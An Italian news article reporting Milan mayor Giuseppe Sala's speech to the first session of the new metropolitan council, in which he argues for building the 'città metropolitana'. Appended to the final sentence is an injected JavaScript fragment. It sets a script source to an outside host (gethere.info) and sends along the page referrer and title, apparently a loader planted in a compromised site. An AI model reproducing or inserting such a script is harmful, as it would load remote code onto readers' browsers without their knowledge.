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mercoledì 23 agosto 2017 15:49:14
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Si insedia il nuovo consiglio metropolitano. Sala: “Abbiamo compito di fondare nuova città”

26 ottobre 2016 Politica

Sulla citta’ metropolitana “certo qualche delusione c’e’ stata ma abbiamo il dovere e il compito di fondare una nuova citta’. Io ci credo, e il mio invito e’ a tutti senza distinzione di parte”. Lo ha detto il sindaco Giuseppe Sala, nel suo intervento nella prima seduta del nuovo consiglio metropolitano. Dopo la convalida degli eletti, al voto del 9 ottobre, Sala ha preso la parola sottolineando che quella per la citta’ metropolitana “sara’ un’impresa lunga ma sara’ il vero banco di prova della politica e delle classi dirigenti milanesi dei prossimi anni”. Per Sala “questa e’ una giornata molto importante per la politica milanese, in cui non solo prendiamo atto di un risultato elettorale, ma siamo chiamati a dirci con franchezza se crediamo veramente in quello che stiamo facendo, se la nuova struttura della citta’ metropolitana abbia un senso. Non e’ una domanda oziosa” e “la risposta a questa domanda da parte mia e’: certamente si’. E’ giusto continuare nell’impresa di costruire qualcosa di nuovo, che chiameremo con convinzione citta’ metropolitana, e non ci accontenteremo meno di questo, salvo ritrovarci a rimpiangere la vecchia e gloriosa provincia”. Cosi’ “ci sentiamo dire da tutti, imprenditori, studiosi, osservatori, che sulla sfida della citta’ metropolitana si fonda la possibilita’ di imprimere una svolta creando un nuovo soggetto che governi la grande area. Ormai Milano da anni e’ la terza area metropolitana europea, dopo Londra e Parigi e sempre si e’ comportata come tale, anche senza un organo di governo e facendo da se’. Ma ora non basta piu’. Ora la citta’ metropolitana non e’ una semplice somma di attivita’, per cui bastava un semplice coordinamento di fatto. Oggi l’area metropolitana ha una sua funzione economica e sociale”. Sala, ricordando la lettura di “La via del Nord” di Giuseppe Berta, ha sottolineato che “la forza propulsiva a cui il libro fa riferimento e’ fondamentale e se dovessi riassumere un una espressione il nostro programma di governo parlerei di ‘qualita’ urbana’ da realizzare con un lavoro strategico di lungo periodo. Ci serve davvero una visione di lungo periodo, ma credo che con l’aiuto di tutti si possa disegnare nel lungo periodo questa profonda trasformazione”. Dunque alla domanda se nella citta’ metropolitana “ci crediamo veramente, se questo sforzo ha senso, se e’ una meta valida da raggiungere, io credo che la risposta e’ si’, anche se ci aspetta un’impresa difficile e impegnativa” perche’ “per connettere, e non annettere, una serie di isole ci serve una governance che rompa una logica verticistica e chiusa. E’ un compito da portare avanti con duttilita’ e saggezza, con ampi spazi di sperimentazione ma con determinazione. Ogni amministratore ha la giusta ambizione di lasciare la citta’ migliore di come l’ha ricevuta, e la piu’ grande ambizione e’ di fondarne una nuova. Dobbiamo essere degni di questo compito che ci attende. Gli obiettivi sono diversi, nel riassetto idrogeologico, nei servizi comuni, nella semplificazione, nell’occupazione, nell’idroscalo come risorsa. E’ necessario condividere questo compito difficile che ci aspetta. Certo qualche delusione c’e’ stata ma abbiamo il dovere e il compito di fondare una nuova citta’. Io ci credo, e il mio invito e’ a tutti senza distinzione di parte. L’area milanese, per quanto piena di problemi, e’ guardata con grande attenzione da tutta Italia, e siamo nelle condizioni di fare un buon lavoro e di difendere il valore della citta’ metropolitana”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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